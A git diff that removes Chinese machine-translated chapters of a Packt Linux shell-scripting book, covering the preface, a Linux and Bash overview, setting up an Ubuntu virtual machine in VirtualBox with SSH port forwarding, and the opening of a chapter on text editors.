上的重定向。本章将从基本的输入/输出重定向开始,然后继续流重定向和管道。 - -[第十三章](13.html)、*功能*,给大家介绍功能。函数将以代码块的形式呈现,这些代码块以这样一种方式组合在一起,它们可以被重用,通常带有不同的参数,以产生稍微不同的最终结果。您将学会理解重用代码的好处,并相应地规划脚本。 - -[第 14 章](14.html)、*调度和日志记录*,通过使用 crontab 和`at`命令,结合适当的日志记录,教您如何调度脚本,以及如何确保这些调度的脚本执行预期的任务。 - -[第 15 章](15.html),*用 getopts 解析 Bash 脚本参数,*通过添加标志而不是位置参数来帮助您改进脚本,从而使脚本更容易使用。 - -[第 16 章](16.html)、 *Bash 参数替换和扩展*,展示了如何通过参数扩展、替换和变量操作来优化早期脚本中使用的先前模式。 - -[第 17 章](17.html)、*小贴士和小技巧带备忘单*,为你提供了一些在 Bash 脚本中不一定用到,但在终端工作时非常方便的小技巧和小技巧。对于最常用的命令,将提供包含最有趣的标志和选项的备忘单,以便您在编写脚本时可以将本章用作参考。 - -# 充分利用这本书 - -你将需要一个 Ubuntu 18.04 Linux 虚拟机来完成这本书。我们将在第二章中指导您完成设置。只有当你跟随所有的代码示例时,你才会真正学会 shell 脚本。整本书都是抱着这种想法写的,所以一定要遵循这个建议! - -# 下载示例代码文件 - -你可以从你在[www.packtpub.com](http://www.packtpub.com)的账户下载这本书的示例代码文件。如果您在其他地方购买了这本书,您可以访问[www.packtpub.com/support](http://www.packtpub.com/support)并注册将文件直接通过电子邮件发送给您。 - -您可以按照以下步骤下载代码文件: - -1. 登录或注册[www.packtpub.com](http://www.packtpub.com/support)。 -2. 选择“支持”选项卡。 -3. 点击代码下载和勘误表。 -4. 在搜索框中输入图书的名称,并按照屏幕指示进行操作。 - -下载文件后,请确保使用最新版本的解压缩文件夹: - -* 视窗系统的 WinRAR/7-Zip -* zipeg/izp/un ARX for MAC -* 适用于 Linux 的 7-Zip/PeaZip - -这本书的代码包也托管在 GitHub 上,网址为[https://GitHub . com/PacktPublishing/Learn-Linux-Shell-Scripting-Bash-4.4](https://github.com/PacktPublishing/Learn-Linux-Shell-Scripting-Fundamentals-of-Bash-4.4)。如果代码有更新,它将在现有的 GitHub 存储库中更新。 - -我们还有来自丰富的图书和视频目录的其他代码包,可在**[【https://github.com/PacktPublishing/】](https://github.com/PacktPublishing/)**获得。看看他们! - -# 下载彩色图像 - -我们还提供了一个 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。可以在这里下载:[https://www . packtpub . com/sites/default/files/downloads/9781788995597 _ color images . pdf](https://www.packtpub.com/sites/default/files/downloads/9781788995597_ColorImages.pdf)。 - -# 使用的约定 - -本书通篇使用了许多文本约定。 - -`CodeInText`:表示文本中的码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和推特句柄。这里有一个例子:“让我们试着将`/tmp/`目录复制到我们的`home`目录中。” - -代码块设置如下: - -```sh -#!/bin/bash - -echo "Hello World!" -``` - -当我们希望将您的注意力吸引到代码块的特定部分时,相关的行或项目以粗体显示: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep 'use' grep-file.txt -We can use this regular file for testing grep. -but in the USA they use color (and realize)! -``` - -任何命令行输入或输出都编写如下: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep 'e.e' character-class.txt -eee -e2e -e e -``` - -**粗体**:表示一个新的术语,一个重要的单词,或者你在屏幕上看到的单词。例如,菜单或对话框中的单词像这样出现在文本中。这里有一个例子:“点击安装按钮,观看安装。” - -Warnings or important notes appear like this. Tips and tricks appear like this. - -# 取得联系 - -我们随时欢迎读者的反馈。 - -**综合反馈**:发邮件`feedback@packtpub.com`并在邮件主题中提及书名。如果您对本书的任何方面有疑问,请发电子邮件至`questions@packtpub.com`。 - -**勘误表**:虽然我们已经尽了最大的努力来保证内容的准确性,但是错误还是会发生。如果你在这本书里发现了一个错误,如果你能向我们报告,我们将不胜感激。请访问[www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata),选择您的图书,点击勘误表提交链接,并输入详细信息。 - -**盗版**:如果您在互联网上遇到任何形式的我们作品的非法拷贝,如果您能提供我们的位置地址或网站名称,我们将不胜感激。请通过`copyright@packtpub.com`联系我们,并提供材料链接。 - -**如果你有兴趣成为一名作者**:如果有一个你有专长的话题,你有兴趣写或者投稿一本书,请访问[authors.packtpub.com](http://authors.packtpub.com/)。 - -# 复习 - -请留下评论。一旦你阅读并使用了这本书,为什么不在你购买它的网站上留下评论呢?然后,潜在的读者可以看到并使用您不带偏见的意见来做出购买决定,我们在 Packt 可以了解您对我们产品的看法,我们的作者可以看到您对他们的书的反馈。谢谢大家! - -更多关于 Packt 的信息,请访问[packtpub.com](https://www.packtpub.com/)。 - -# 放弃 - -本书中的信息仅用于道德方面。如果没有设备所有者的书面许可,请勿使用书中的任何信息。如果你实施非法行为,你很可能会被逮捕并受到法律的最大限度的起诉。如果您误用了书中包含的任何信息,Packt Publishing 不承担任何责任。此处的信息只能在测试环境时使用,并且必须有相关负责人的适当书面授权。 \ No newline at end of file diff --git a/docs/learn-linux-shell-script/01.md b/docs/learn-linux-shell-script/01.md deleted file mode 100644 index 3a70f0ae..00000000 --- a/docs/learn-linux-shell-script/01.md +++ /dev/null @@ -1,50 +0,0 @@ -# 一、概述 - -在我们开始编写 shell 脚本之前,我们需要有一些关于我们最相关的两个组件的上下文: **Linux** 和 **Bash** 。我们将解释 Linux 和 Bash,研究这两种技术背后的历史,并讨论两者的当前状态。 - -本章将涵盖以下主题: - -* 什么是 Linux? -* 什么是 Bash? - -# 什么是 Linux? - -Linux 是一个通用术语,指的是基于 Linux 内核的不同开源操作系统。Linux 内核最初是由 Linus Torvalds 在 1991 年创建的,并于 1996 年开源。内核是一种软件,被设计为充当低级硬件(如处理器、内存和输入/输出设备)和高级软件(如操作系统)之间的中间层。除了 Linux 内核,大部分 Linux 操作系统都严重依赖 GNU 项目实用程序;例如,Bash shell 是一个 GNU 程序。正因为如此,Linux 操作系统被一些人称为 GNU/Linux。GNU 项目,GNU 代表*T1】GNU 的 **N** ot **U** nix!*(递归首字母缩略词),是一个自由软件的集合,其中很多在大多数 Linux 发行版中都可以找到。这个集合包括许多工具,但也包括一个名为 GNU HURD 的替代内核(它不像 Linux 内核那样广泛)。 - -为什么我们需要内核?因为内核位于硬件和操作系统之间,所以它为与硬件交互提供了一个抽象。这就是 Linux 生态系统变得如此庞大的原因:内核可以自由使用,并且它可以在许多类型的硬件上处理许多低级操作。因此,操作系统的创建者可以花时间为他们的用户创造易于使用的美好体验,而不必担心如何将用户的图片写入系统的物理磁盘。 - -Linux 内核就是所谓的**类 Unix**软件。你可能会怀疑,这意味着它类似于最初的 Unix 内核,它是由肯·汤普森和丹尼斯·里奇于 1971 年至 1973 年在贝尔实验室创建的。然而,Linux 内核只是基于 Unix 原则的*,并不与 Unix 系统共享代码。著名的 Unix 系统包括 BSDs (FreeBSD、OpenBSD 等)和 macOS。* - -Linux 操作系统被广泛用于两个目的之一:作为桌面或服务器。作为桌面,Linux 可以替代更常用的微软视窗或苹果操作系统。然而,大多数 Linux 的使用都是在服务器环境中。在撰写本文时,估计互联网上大约 70%的服务器使用 Unix 或类似 Unix 的操作系统。下次您浏览新闻、阅读邮件或滚动浏览您最喜欢的社交媒体网站时,请记住,您正在显示的页面很有可能已经被一个或多个 Linux 服务器处理过。 - -Linux 有许多发行版或版本。大多数 Linux 操作系统都属于发行系列。分发系列基于一个共同的祖先,并且经常使用相同的包管理工具。其中一个比较知名的 Linux 发行版 **Ubuntu** ,是基于 **Debian** 发行家族。另一个著名的 Linux 发行版, **Fedora** 基于**红帽**家族。其他值得注意的分布家族包括 **SUSE** 、 **Gentoo** 和 **Arch** 。 - -没有多少人意识到有多少设备运行 Linux 内核。例如,目前使用的最常见的智能手机操作系统安卓(市场份额约为 85%)使用了 Linux 内核的修改版本。许多智能电视、路由器、调制解调器和各种其他(嵌入式)设备也是如此。如果我们包括 Unix 和其他类似 Unix 的软件,我们可以有把握地说,世界上大多数设备都运行在这些内核上! - -# 什么是 Bash? - -Linux 系统中最常用的 Shell 是**B**ourne-**a**gain**sh**ell,或 Bash。Bash Shell 基于**伯恩 Shell**,被称为 **sh** 。但是什么是贝壳呢? - -Shell 本质上是一个用户界面。最常见的是指基于文本的界面,也称为**命令行界面** ( **CLI** )。然而,它被称为*壳*,因为它可以被视为围绕内核的*壳;这意味着它不仅适用于 CLIs,也同样适用于**图形用户界面**(**GUI**)。当我们在本书中提到 shell 时,我们指的是 CLI,除非另有说明,否则我们指的是 Bash shell。* - -命令行界面和图形用户界面 Shell 的目的是允许用户与系统交互。毕竟,一个不提供交互的系统很难被证明是正确的,更不用说很难使用了!在这种情况下,交互意味着很多事情:在键盘上打字会让字母出现在屏幕上,移动鼠标会改变光标在屏幕上的位置,发出删除文件的命令(用命令行界面或图形用户界面)会从磁盘上删除字节,等等。 - -在 Unix 和计算机的早期,没有图形用户界面可用,所以所有的工作都是通过命令行界面来执行的。为了连接到运行机器上的 Shell,使用了**视频终端**:通常这是一个非常简单的显示器,结合键盘,通过例如 RS-232 串行电缆连接。在这个视频终端上输入的命令由运行在 Unix 机器上的 shell 处理。 - -对我们来说幸运的是,自从第一台电脑问世以来,事情发生了很大的变化。今天,我们不再使用专用硬件来连接 Shell。运行在图形用户界面中的一个软件,即**终端仿真器**,用于与 Shell 进行交互。让我们快速了解一下使用终端仿真器连接到 Bash Shell 会是什么样子: - -![](img/5686a455-ac97-434a-b37a-b29ac2e7fdc4.png) - -在前面的截图中,我们通过**安全 Shell** ( **SSH** )协议,使用终端仿真器(GNOME Terminal)连接到一个 Linux 虚拟机(我们将在下一章对此进行设置)。需要注意的一些有趣的事情: - -* 我们在命令行界面上;我们没有鼠标,也不需要鼠标 -* 我们连接到一台 Ubuntu 机器,但我们在另一个操作系统(在本例中是 Arch Linux)中运行它 -* Ubuntu 18.04 向我们呈现了一条欢迎消息,显示了一些关于系统的一般信息 - -除了使用 Bash shell 进行直接的系统交互之外,它还提供了另一个重要的功能:能够根据特定的目标顺序执行多个命令,无论是否有用户交互。这听起来可能很复杂,但实际上很简单:我们谈论的是本书的主题 **Bash 脚本**! - -# 摘要 - -在这一章中,您已经了解了 GNU/Linux 操作系统和 Linux 内核,什么是内核,以及 Linux 发行版对日常生活的影响有多大。您还了解了什么是 shell,最常见的 Linux shell Bash 既可以用来与 Linux 系统交互,也可以用来编写 shell 脚本。 - -在下一章中,我们将设置一个本地环境,我们将在本书的其余部分中使用它,包括示例和练习。 \ No newline at end of file diff --git a/docs/learn-linux-shell-script/02.md b/docs/learn-linux-shell-script/02.md deleted file mode 100644 index b46c0c8f..00000000 --- a/docs/learn-linux-shell-script/02.md +++ /dev/null @@ -1,211 +0,0 @@ -# 二、设置您的本地环境 - -在前一章中,我们冒险进入了 Linux 和 Bash 的精彩世界的一些背景。由于这是一本实用的、以练习为导向的书,我们将使用这一章来设置一台机器,你可以跟随例子并在每章结束时进行练习。这可以是虚拟机,也可以是物理安装;这取决于你。我们将在本章的第一部分讨论这一点,然后继续安装 VirtualBox,最后创建一个 Ubuntu 虚拟机。 - -本章将介绍以下命令:`ssh`和`exit`。 - -本章将涵盖以下主题: - -* 在虚拟机和物理安装之间进行选择 -* 设置 VirtualBox -* 创建 Ubuntu 虚拟机 - -# 技术要求 - -要完成本章(以及后续章节)中的练习,您将需要一台至少具有 2 GHz CPU 功率、10 GB 硬盘空间和大约 1 GB 备用 RAM 的 PC 或笔记本电脑。几乎所有过去 5 年中创建的硬件都应该足够了。 - -# 在虚拟机和物理安装之间进行选择 - -虚拟机是物理机的模拟。这意味着它在物理机器内部运行*,而不是直接在硬件*上运行**。物理机器可以直接访问所有硬件,如中央处理器、随机存取存储器和其他设备,如鼠标、键盘和显示器。然而,在多台物理机器之间共享中央处理器或内存是不可能的。虚拟机不直接访问硬件,而是通过仿真层,这意味着资源可以在多个虚拟机之间共享。** - - *因为我们一般讨论的是 Bash shell 脚本,所以理论上来说,执行什么样的安装并不重要。只要该安装运行的是与 Bash 4.4 或更高版本兼容的 Linux 操作系统,所有练习都应该可以。但是,与物理安装相比,使用虚拟机有许多优势: - -* 不需要删除当前首选的操作系统,也不需要设置复杂的双引导配置 -* 虚拟机可以创建快照,这允许从严重故障中恢复 -* 您可以在一台机器上运行(许多)不同的操作系统 - -不幸的是,使用虚拟机也有一些缺点: - -* 因为您在已经运行的操作系统中运行虚拟操作系统,所以虚拟化会带来一些开销(与运行裸机安装相比) -* 由于您同时运行多个操作系统,因此您将需要比裸机安装更多的资源 - -在我们看来,现代计算机足够快,可以让缺点变得几乎微不足道,而在虚拟机中运行 Linux 提供的优势非常有帮助。因此,我们将只在本章的剩余部分解释虚拟机设置。如果你有足够的信心将 Linux 作为一个物理安装来运行(或者你可能已经在某个地方运行了 Linux!),请随意用那台机器探索本书的其余部分。 - -You might have a Raspberry Pi or another single-board computer running Linux in your house from a previous project. While these machines are indeed running a Linux distribution (Raspbian), they are probably running it on a different architecture: ARM instead of x86\. Because this can cause unexpected results, we recommend only using x86 devices for this book. - -如果您想确保所有示例和练习都像本书中看到的那样工作,请在 VirtualBox 中运行 Ubuntu 18.04 LTS 虚拟机,建议规格为 1 个 CPU、1 GB RAM 和 10 GB 硬盘:本章其余部分将介绍该设置。即使许多其他类型的部署应该可以工作,您也不希望在发现某个练习是由您的设置导致的之前,您的头撞在墙上几个小时。 - -# 设置 VirtualBox - -要使用虚拟机,我们需要名为**虚拟机管理程序**的软件。虚拟机管理程序管理主机和虚拟机之间的资源,提供对磁盘的访问,并具有管理所有资源的界面。有两种不同类型的虚拟机管理程序:类型 1 和类型 2。类型 1 虚拟机管理程序是所谓的裸机虚拟机管理程序。这些是直接安装在硬件上的,而不是常规的操作系统,如 Linux、macOS 或 Windows。这些类型的虚拟机管理程序用于公司服务器、云服务等。在本书中,我们将使用类型 2 虚拟机管理程序(也称为托管虚拟机管理程序):这些虚拟机管理程序安装在另一个操作系统中,作为一个软件,与浏览器没有太大区别。 - -有许多类型 2 虚拟机管理程序。在撰写本文时,最受欢迎的选择是 VirtualBox、VMware 工作站播放器或特定于操作系统的变体,如 Linux 上的 QEMU/KVM、macOS 上的 Parallels Desktop 和 Windows 上的 Hyper-V。因为我们将在这本书中使用虚拟机,所以我们不假设任何关于主机的事情:您应该舒适地使用您喜欢的任何操作系统。正因为如此,我们选择使用 VirtualBox 作为我们的虚拟机管理程序,因为它运行在 Linux、macOS 和 Windows(甚至其他平台!).此外,VirtualBox 是免费的开源软件,这意味着您可以下载并使用它。 - -目前,VirtualBox 归甲骨文所有。可以从[https://www.virtualbox.org/](https://www.virtualbox.org/)下载 VirtualBox 的安装程序。安装时不要用力;按照安装人员的说明进行操作。 - -After installing a type-2 hypervisor such as VirtualBox, be sure to restart your computer. Hypervisors often need some kernel modules loaded, which is easiest to achieve by rebooting. - -# 创建 Ubuntu 虚拟机 - -在本书中,我们使用 Bash 编写脚本,这意味着我们的 Linux 安装不需要图形用户界面。我们选择使用 **Ubuntu Server 18.04 LTS** 作为虚拟机操作系统,原因有很多: - -* Ubuntu 被认为是一个初学者友好的 Linux 发行版 -* 18.04 是**长期支持** ( **LTS** )版本,这意味着它将在 2023 年 4 月之前收到更新 -* 因为 Ubuntu 服务器只提供命令行界面安装,所以它很容易占用系统资源,是现实服务器的代表 - -在撰写本文时,Ubuntu 由 Canonical 维护。可以从[https://www.ubuntu.com/download/server](https://www.ubuntu.com/download/server)下载 ISO 图片。现在下载该文件,并记住您保存该文件的位置,因为您很快就会需要它。 - -Should the preceding download link no longer work, you can go to your favorite search engine and search for `Ubuntu Server 18.04 ISO download`. You should find a reference to the Ubuntu archives, which will have the required ISO. - -# 在 VirtualBox 中创建虚拟机 - -首先,我们将从创建虚拟机来托管我们的 Ubuntu 安装开始: - -1. 打开 VirtualBox,在菜单工具栏中选择“机器|新建”。 -2. 作为参考,我们在下面截图中给出的菜单工具栏中圈出了机器条目。为虚拟机选择一个名称(这可以是与服务器名称不同的名称,但为了简单起见,我们希望保持不变),将类型设置为 Linux,将版本设置为 Ubuntu (64 位)。单击下一步: - -![](img/d0cd236c-e995-4097-9ffb-7d7a379ea015.png) - -3. 在此屏幕上,我们确定内存设置。对于大多数服务器来说,1024 兆内存是一个很好的开始(VirtualBox 也推荐虚拟机使用)。如果你有强大的硬件,这可以设置为 2048 兆字节,但 1024 兆字节应该没问题。做出选择,然后按下一步: - -![](img/2de70386-a30c-42cb-a3a2-af98d92173a1.png) - -4. 同样,VirtualBox 推荐的值非常适合我们的需求。按“创建”开始创建虚拟硬盘: - -![](img/9e5e056d-a5dc-4afe-979e-4dae8ab9a6df.png) - -5. 虚拟硬盘可以是许多不同的类型。VirtualBox 默认使用自己的格式 **VDI** ,而不是 **VMDK** ,这是 VMware(另一个流行的虚拟化提供商)使用的格式。最后一个选项是 **VHD(虚拟硬盘)**,这是一种更通用的格式,可供多个虚拟化提供商使用。由于我们将在本书中专门使用 VirtualBox,请将选择保留在 **VDI** **(VirtualBox 磁盘映像)**上,然后按下一步: - -![](img/010bc6aa-2d07-491f-b93c-88f456524958.png) - -6. 我们在这个屏幕上有两个选项:我们可以立即在物理硬盘上分配完整的虚拟硬盘,或者我们可以使用动态分配,它不保留虚拟磁盘的完整大小,而只保留已使用的大小。 - -这些选项之间的差异通常与许多虚拟机运行在单个主机上的情况最为相关。创建大于物理可用容量的磁盘总数,但假设并非所有磁盘都将被完全使用,这允许我们在一台机器上放置更多虚拟机。这被称为过度调配,只有在并非所有磁盘都已填满的情况下才会起作用(因为我们可以*永远不会*拥有比物理磁盘空间更多的虚拟磁盘空间)。对我们来说,这种区别并不重要,因为我们将运行一台虚拟机;我们保留默认的“动态分配”并进入下一个屏幕: - -![](img/d92db070-1f91-47a1-81f0-abba5ea4c148.png) - -7. 在这个屏幕上,我们可以做三件事:命名虚拟磁盘文件,选择位置,并指定大小。如果你关心位置(默认在你的`home` / `user`目录的某个地方),可以按下下面截图中带圆圈的图标。对于名称,我们希望它与虚拟机名称保持一致。最后,对于本书中的练习,10 GB 的大小就足够了。设置完这三个值后,请按“创建”。祝贺您,您刚刚创建了第一台虚拟机,如下图所示: - -![](img/59d07cb2-ab7b-49d0-8e10-082f14ce0eb1.png) - -8. 然而,在我们开始在虚拟机上安装 Ubuntu 之前,我们还需要做两件事:将虚拟机指向安装 ISO,并设置网络。选择新创建的虚拟机,然后单击设置。导航到存储部分: - -![](img/7e8e2785-2c8c-4def-8398-4240ce29fde3.png) - -您应该会看到一个带有单词“空”的磁盘图标(在前面截图中的左侧圆圈位置)。选择它并通过单击选择磁盘图标(在右侧画圈)挂载一个 ISO 文件,选择虚拟光盘文件,然后选择您之前下载的 Ubuntu ISO。如果您这样做是正确的,您的屏幕应该类似于前面的截图:您不再看到磁盘图标旁边的空字,并且应该填写信息部分。 - -9. 一旦您验证了这一点,请转到网络部分。 -10. 配置应该默认为 NAT 类型。如果没有,现在就设置为 NAT。 **NAT** 代表**网络地址转换**。在这种模式下,主机充当虚拟机的路由器。最后,我们将设置一些端口转发,以便以后可以使用 SSH 工具。单击端口转发按钮: - -![](img/59398215-48ed-47c3-be73-42ea509bbe8d.png) - -11. 正如我们所做的,设置 SSH 规则。这意味着来宾(即虚拟机)上的端口`22`暴露为主机(令人惊讶的是,主机)上的端口`2222`。我们选择端口`2222`有两个原因:低于 1024 的端口需要 root/管理员权限,而我们可能没有。其次,SSH 进程有可能已经在主机上侦听,这意味着 VirtualBox 将无法使用该端口: - -![](img/84dd1bc8-097b-4fd4-b569-99e6e8494f1f.png) - -至此,我们已经完成了虚拟机的设置! - -# 在虚拟机上安装 Ubuntu - -现在,您可以从 VirtualBox 主屏幕启动您的虚拟机。右键点击机器,选择 **S** **挞**,然后选择**正常启动**。如果一切顺利,将弹出一个新窗口,向您显示虚拟机控制台。过了一会儿,您应该会在该窗口中看到 Ubuntu 服务器安装屏幕: - -1. 在如下截图所示的屏幕上,使用箭头键选择您喜欢的语言(我们使用的是英语,所以如果您不确定,英语是一个不错的选择)并按*进入*: - -![](img/de76eb5b-5b75-4225-bad0-e50b5b77e458.png) - -2. 选择您正在使用的键盘布局。如果您不确定,可以使用交互式“识别键盘”选项来确定哪种布局最适合您。设置好合适的布局后,将焦点移到完成,按*进入*: - -![](img/a20398b2-ba3c-4c6d-b85c-98e70b25c4d7.png) - -3. 我们现在选择安装类型。因为我们使用的是服务器 ISO,所以看不到任何与 GUI 相关的选项。在前面的截图中,选择安装 Ubuntu(其他两个选项都使用 Canonical 的**金属即服务器** ( **MAAS** )云产品,与我们无关)并按*进入*: - -![](img/2d221e2b-c420-46c2-b505-f8362611389a.png) - -4. 您将看到网络连接屏幕。安装程序应该默认在虚拟机创建的默认网络接口上使用 DHCP。确认该接口已经分配了一个 IP,按*进入*: - -![](img/09e02f6e-0d40-415f-8a7f-feef205c0a9d.png) - -5. “配置代理”屏幕与我们无关(除非您运行的是代理设置,但在这种情况下,您很可能不需要我们的安装帮助!).将代理地址留空,然后按*进入*: - -![](img/13dc4b91-16f6-4873-8f96-0488402c2481.png) - -6. 有时手动对 Linux 磁盘进行分区以适应特定的需求是有帮助的。在我们的例子中,使用整个磁盘的默认值非常合适,所以按*进入*: - -![](img/dd858785-8e92-4865-84d9-60915e6938e6.png) - -7. 选择要使用整个磁盘后,我们需要指定要使用哪个磁盘。由于我们在配置虚拟机时只创建了一个磁盘,所以选择它并按*进入*。 -8. 现在,您将会遇到一个关于执行破坏性操作的警告。因为我们使用的是整个(虚拟的!)磁盘,该磁盘上的所有信息都将被擦除。我们在创建虚拟机时创建了这个磁盘,因此它不包含任何数据。我们可以安全地执行此操作,因此选择继续并按*进入*: - -![](img/b69c42d0-2577-4035-ac6f-bcb6df90c943.png) - -9. 对于文件系统设置,默认值再次完美地满足了我们的需求。验证我们至少有 10 GB 的硬盘空间(可能会少一点,如下例中的 9.997 GB:这样就可以了)并按*进入*: - -![](img/05d10825-12d7-4ffb-83b4-7baeec719170.png) - -10. Ubuntu 服务器现在应该开始安装到虚拟磁盘。在这一步中,我们将设置服务器名称并创建一个管理用户。我们选择了服务器名`ubuntu`,用户名`reader`,密码`password`。请注意,这是一个*非常弱的*密码,为了简单起见,我们将只在此服务器上使用。这是可以接受的,因为服务器只能从我们的主机上访问。配置接受来自互联网的传入流量的服务器时,切勿使用如此弱的密码!选择你喜欢的任何东西,只要你能记住它。如果您不确定,我们建议使用相同的`ubuntu`、`reader`和`password`值: - -![](img/de327228-ada8-4dfb-8419-e48b0ba13f1b.png) - -现在您已经选择了服务器名称并配置了管理用户,请按*进入*以完成安装。 - -11. 根据完成前一个屏幕所需的时间以及主机的速度,Ubuntu 要么仍在安装,要么已经完成。如果您仍然看到文本在屏幕上移动,则安装仍在运行。安装完成后,您将看到“立即重新启动”按钮出现。按*进入*: - -![](img/b02c171e-fa3a-4d51-a0bd-a5e092a2b11b.png) - -12. 几秒钟后,应会出现一条消息,说明`Please remove the installation medium, then press Enter`。按照说明操作,如果一切顺利,您应该会收到终端登录提示: - -![](img/906cdecf-2b01-4521-968f-55688861d71f.png) - -Normally, VirtualBox is intelligent enough to try a second boot from the hard disk instead of the ISO. If, after the previous steps, a reboot sends you back to the installation menu, power down the virtual machine from the VirtualBox main screen. Right-click on the machine, select **Close** followed by **Power Off**. After it's fully powered down, edit the machine and remove the ISO. This should force VirtualBox to boot from the disk, which contains your Ubuntu Server 18.04 LTS installation. - -13. 现在是关键时刻:尝试使用您创建的用户名和密码登录。如果成功,您应该会看到类似以下内容的屏幕: - -![](img/81091b32-6c6e-43c4-ab20-20fdc01e6202.png) - -拍拍自己的背:你刚刚创建了一个虚拟机,安装了 Ubuntu Server 18.04 LTS,并通过终端控制台登录。干得好!退出时,输入`exit`或`logout`,按*进入*。 - -# 通过 SSH 访问虚拟机 - -我们已经成功连接到 VirtualBox 提供给我们的终端控制台。但是,这个 Terminal 连接真的很基础:比如我们不能向上滚动,不能粘贴复制的文本,没有彩色语法高亮。幸运的是,我们有一个不错的选择:安全 Shell 协议。SSH 用于连接到虚拟机上运行的 shell。通常,这将通过网络完成:这是企业维护其 Linux 服务器的方式。在我们的设置中,我们实际上可以在我们的主机中使用 SSH,使用我们之前设置的电源转发。 - -如果您遵循安装指南,主机上的端口`2222`应该重定向到虚拟机上的端口`22`,也就是运行 SSH 进程的端口。从 Linux 或 macOS 主机上,我们可以使用以下命令进行连接(如有必要,请替换用户名或端口号): - -```sh -$ ssh reader@localhost -p 2222 -``` - -但是,您很有可能正在运行 Windows。在这种情况下,您可能无法在命令提示符下访问本机 SSH 客户端应用。幸运的是,有很多好的(而且是免费的!)SSH 客户端。最简单最知名的客户端是 **PuTTY** 。PuTTY 创建于 1999 年,虽然它绝对是一个非常稳定的客户,但它的时代已经开始显现。我们会推荐一些更新的 SSH 客户端软件,比如 **MobaXterm** 。这为您提供了更多的会话管理、更好的图形用户界面,甚至是本地命令提示符! - -无论您选择哪种软件,请确保使用以下值(同样,如果您偏离了安装指南,请更改端口或用户名): - -* 主机名:`localhost` -* 港口:`2222` -* 用户名:`reader` - -If you're using SSH to connect to your virtual machine, you can start it **headless**. When you do this, VirtualBox will not create a new window with the Terminal console for you, but instead runs the virtual machine in the background where you can still connect via SSH (just like what happens on actual Linux servers). This option, **Headless Start**, is found right below the earlier **Normal** **Start**, when right clicking on the machine and selecting **Start.** - -# 摘要 - -在本章中,我们已经开始为本书的其余部分准备本地机器。我们现在知道了虚拟机和物理机之间的区别,以及为什么我们更喜欢在本书的剩余部分使用虚拟机。我们已经了解了两种不同类型的虚拟机管理程序。我们已经用虚拟机安装并配置了 VirtualBox,在虚拟机上我们已经安装了 Ubuntu 18.04 操作系统。最后,我们已经使用 SSH 而不是 VirtualBox 终端连接到我们正在运行的虚拟机,这提供了更好的可用性和选项。 - -本章介绍了以下命令:`ssh`和`exit`。 - -在下一章中,我们将通过查看一些不同的工具来完成本地机器的设置,这些工具可以帮助我们在图形用户界面和虚拟机命令行界面上使用 bash 脚本。 - -# 问题 - -1. 运行虚拟机比裸机安装更可取的一些原因是什么? -2. 与裸机安装相比,运行虚拟机有哪些缺点? -3. 类型 1 和类型 2 虚拟机管理程序之间有什么区别? -4. 我们可以通过哪两种方式在 VirtualBox 上启动虚拟机? -5. Ubuntu LTS 版有什么特别之处? -6. 如果在 Ubuntu 安装后,虚拟机再次引导到 Ubuntu 安装屏幕,我们该怎么办? -7. 如果我们在安装过程中不小心重启,并且我们从未在 Ubuntu 安装中结束(而是看到一个错误),我们该怎么办? -8. 我们为什么要为虚拟机设置 NAT 转发? - -# 进一步阅读 - -如果您想深入了解本章的主题,以下资源可能会很有意思: - -* *通过 Pradyumna Dash、Packt: [开始使用 Oracle VM VirtualBox](https://www.packtpub.com/virtualization-and-cloud/getting-started-oracle-vm-virtualbox)*https://www . packtpub . com/虚拟化与云/入门-oracle-vm-virtualbox -* *精通 Ubuntu 服务器-第二版*作者:Jay LaCroix,Packt:[https://www . packtpub . com/networking-and-servers/Mastering-Ubuntu-Server-第二版](https://www.packtpub.com/networking-and-servers/mastering-ubuntu-server-second-edition)* \ No newline at end of file diff --git a/docs/learn-linux-shell-script/03.md b/docs/learn-linux-shell-script/03.md deleted file mode 100644 index fe198373..00000000 --- a/docs/learn-linux-shell-script/03.md +++ /dev/null @@ -1,278 +0,0 @@ -# 三、选择正确的工具 - -本章将介绍一些在我们编写 Bash 脚本时会有所帮助的工具。我们将重点介绍两类工具:基于 GUI 的编辑器( **Atom** 和 **Notepad++** )和基于终端的编辑器( **Vim** 和 **nano** )。我们将描述这些工具以及如何使用它们,它们的优点和缺点,以及如何同时使用基于图形用户界面和基于终端的编辑器来获得最佳效果。 - -本章将介绍以下命令:`vim`、`nano`和`ls`。 - -本章将涵盖以下主题: - -* 使用图形编辑器编写 Shell 脚本 -* 使用命令行编辑器编写 shell 脚本 -* 编写 shell 脚本时将图形编辑器和命令行编辑器结合起来 - -# 技术要求 - -使用 Vim 或 nano 时,您将需要我们在上一章中创建的虚拟机。如果你想用记事本++,你需要一台 Windows 主机。对于 Atom,主机可以运行 Linux、macOS 或 Windows。 - -# 使用图形编辑器编写 Shell 脚本 - -自从第一个 Unix 和类似 Unix 的发行版以来,工具已经取得了很大的进步。在最早的时候,编写 shell 脚本要比现在困难得多:shell 的功能没有现在强大,文本编辑器只是命令行,语法高亮和自动完成等功能都不存在。今天,我们有非常强大的图形用户界面编辑器,将帮助我们的脚本冒险。为什么我们要等到运行脚本时才发现错误,而图形用户界面编辑器可能已经提前向我们显示了错误?如今,使用高级编辑器来编写 shell 脚本几乎是我们不可或缺的。 - -我们将在接下来的几页中描述两个文本编辑器:Atom 和 Notepad++。两者都是基于图形用户界面的,我们可以用它来进行高效的 shell 脚本编写。如果你已经对其中任何一个有了偏好,就选那个。如果您不确定,我们建议您使用 Atom。 - -# 原子 - -我们将考虑的第一个图形编辑器是由 GitHub 制作的 Atom。它被描述为*21 世纪的一个可黑客攻击的文本编辑器*。从这个意义上来说,Hackable 意味着虽然 Atom 的默认安装和任何文本编辑器一样完整,但这个应用确实很出色,因为它非常可配置和可扩展。任何没有被 GitHub 集成的东西都可以写成扩展包。通过使用这些扩展,您可以让您的 Atom 安装完全是您自己的;如果你不喜欢某事,改变它。如果不能开箱换,那就找个能换的包装。即使没有一个包可以实现您的期望,您仍然可以选择创建自己的包! - -Atom 的另一个好特性是与 Git 和 GitHub 的默认集成。Git 是目前最流行的版本控制系统。编写代码或脚本时使用版本控制系统。它们确保保存文件的历史记录,并使多个(甚至许多)贡献者可以同时处理相同的文件,而不会因冲突管理而负担过重。GitHub,顾名思义,是目前最著名的基于 web 的开源软件 Git 提供商。 - -关于 